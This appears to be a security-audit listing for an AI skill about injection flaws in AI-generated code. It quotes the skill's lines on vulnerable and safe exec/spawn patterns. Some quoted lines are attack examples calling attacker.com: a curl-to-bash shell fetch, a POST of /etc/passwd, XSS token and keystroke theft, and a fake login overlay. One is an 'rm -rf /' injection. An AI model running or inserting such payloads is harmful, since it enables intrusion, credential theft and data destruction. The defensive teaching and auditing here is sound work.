injection-vulnerabilities-ai-generated-code
Explores how AI-generated code can introduce injection vulnerabilities, providing insights into SQL injection, command injection, and XSS patterns.
Install this skill
Security score
The injection-vulnerabilities-ai-generated-code skill was audited on Feb 12, 2026 and we found 49 security issues across 4 threat categories, including 8 critical. Review the findings below before installing.
Categories Tested
Security Issues
Direct command execution function call
| 140 | exec(command, (error, stdout, stderr) => { |
Direct command execution function call
| 176 | const convert = spawn('convert', [ |
Direct command execution function call
| 193 | **1. exec() is Simpler:** |
Direct command execution function call
| 194 | - Single function call vs spawn() configuration |
Direct command execution function call
| 196 | - exec() allows shell syntax (pipes, redirects) |
Direct command execution function call
| 232 | **exec() vs spawn():** |
Direct command execution function call
| 234 | | Feature | exec() | spawn() | |
Direct command execution function call
| 392 | - Shell: `exec(f"convert {filename}")` |
Direct command execution function call
| 430 | ❌ **exec() with user input:** |
Direct command execution function call
| 432 | exec(`command ${userInput}`) |
Direct command execution function call
| 433 | exec("command " + userInput) |
Direct command execution function call
| 437 | ✅ **spawn() with argument array:** |
Direct command execution function call
| 439 | spawn('command', [arg1, arg2, arg3]) |
Direct command execution function call
| 500 | exec(`convert ${filename} output.jpg`); // VULNERABLE |
Direct command execution function call
| 517 | const convert = spawn('convert', [filename, 'output.jpg']); |
Template literal with variable interpolation in command context
| 138 | const command = `convert ${inputFile} -quality ${quality} output.${outputFormat}`; |
Template literal with variable interpolation in command context
| 144 | res.json({ success: true, output: `output.${outputFormat}` }); |
Template literal with variable interpolation in command context
| 179 | `output.${outputFormat}` |
Template literal with variable interpolation in command context
| 186 | res.json({ success: true, output: `output.${outputFormat}` }); |
Template literal with variable interpolation in command context
| 265 | html += ` |
Template literal with variable interpolation in command context
| 297 | html += ` |
Template literal with variable interpolation in command context
| 393 | - HTML: `html += `<div>${user_content}</div>`` |
Template literal with variable interpolation in command context
| 432 | exec(`command ${userInput}`) |
Template literal with variable interpolation in command context
| 447 | html += `<div>${userContent}</div>` |
Template literal with variable interpolation in command context
| 454 | html += `<div>${escapeHtml(userContent)}</div>` |
Template literal with variable interpolation in command context
| 500 | exec(`convert ${filename} output.jpg`); // VULNERABLE |
Piping content to bash shell
| 149 | // inputFile = "test.jpg; curl http://attacker.com/shell.sh | bash" |
Destructive rm -rf command
| 212 | inputFile = "image.jpg; rm -rf /" |
Destructive rm -rf command
| 213 | // Executes: convert image.jpg -quality 80 output.jpg; rm -rf / |
System command execution
| 434 | os.system(f"command {user_input}") // Python |
Node child_process module reference
| 132 | const { exec } = require('child_process'); |
Node child_process module reference
| 155 | const { spawn } = require('child_process'); |
Node child_process module reference
| 496 | import { exec } from 'child_process'; |
Node child_process module reference
| 506 | import { spawn } from 'child_process'; |
Python os.system command execution
| 434 | os.system(f"command {user_input}") // Python |
Python subprocess execution
| 440 | subprocess.run(['command', arg1, arg2]) // Python |
Curl to non-GitHub URL
| 149 | // inputFile = "test.jpg; curl http://attacker.com/shell.sh | bash" |
Curl to non-GitHub URL
| 226 | inputFile = "image.jpg; curl -X POST https://attacker.com/data -d @/etc/passwd" |
Fetch to external URL
| 279 | // comment.content = "<script>fetch('/api/session').then(r=>r.text()).then(t=>fetch('https://attacker.com?token='+t))</script>" |
Fetch to external URL
| 338 | fetch('/api/session') |
Fetch to external URL
| 341 | fetch('https://attacker.com/steal', { |
Fetch to external URL
| 366 | fetch('https://attacker.com/keys?key=' + e.key); |
Access to /etc/passwd
| 226 | inputFile = "image.jpg; curl -X POST https://attacker.com/data -d @/etc/passwd" |
External URL reference
| 149 | // inputFile = "test.jpg; curl http://attacker.com/shell.sh | bash" |
External URL reference
| 226 | inputFile = "image.jpg; curl -X POST https://attacker.com/data -d @/etc/passwd" |
External URL reference
| 279 | // comment.content = "<script>fetch('/api/session').then(r=>r.text()).then(t=>fetch('https://attacker.com?token='+t))</script>" |
External URL reference
| 341 | fetch('https://attacker.com/steal', { |
External URL reference
| 355 | document.body.innerHTML += '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><form action="https://attacker.com/phish"><h2>Session Expired - Please Login</ |
External URL reference
| 366 | fetch('https://attacker.com/keys?key=' + e.key); |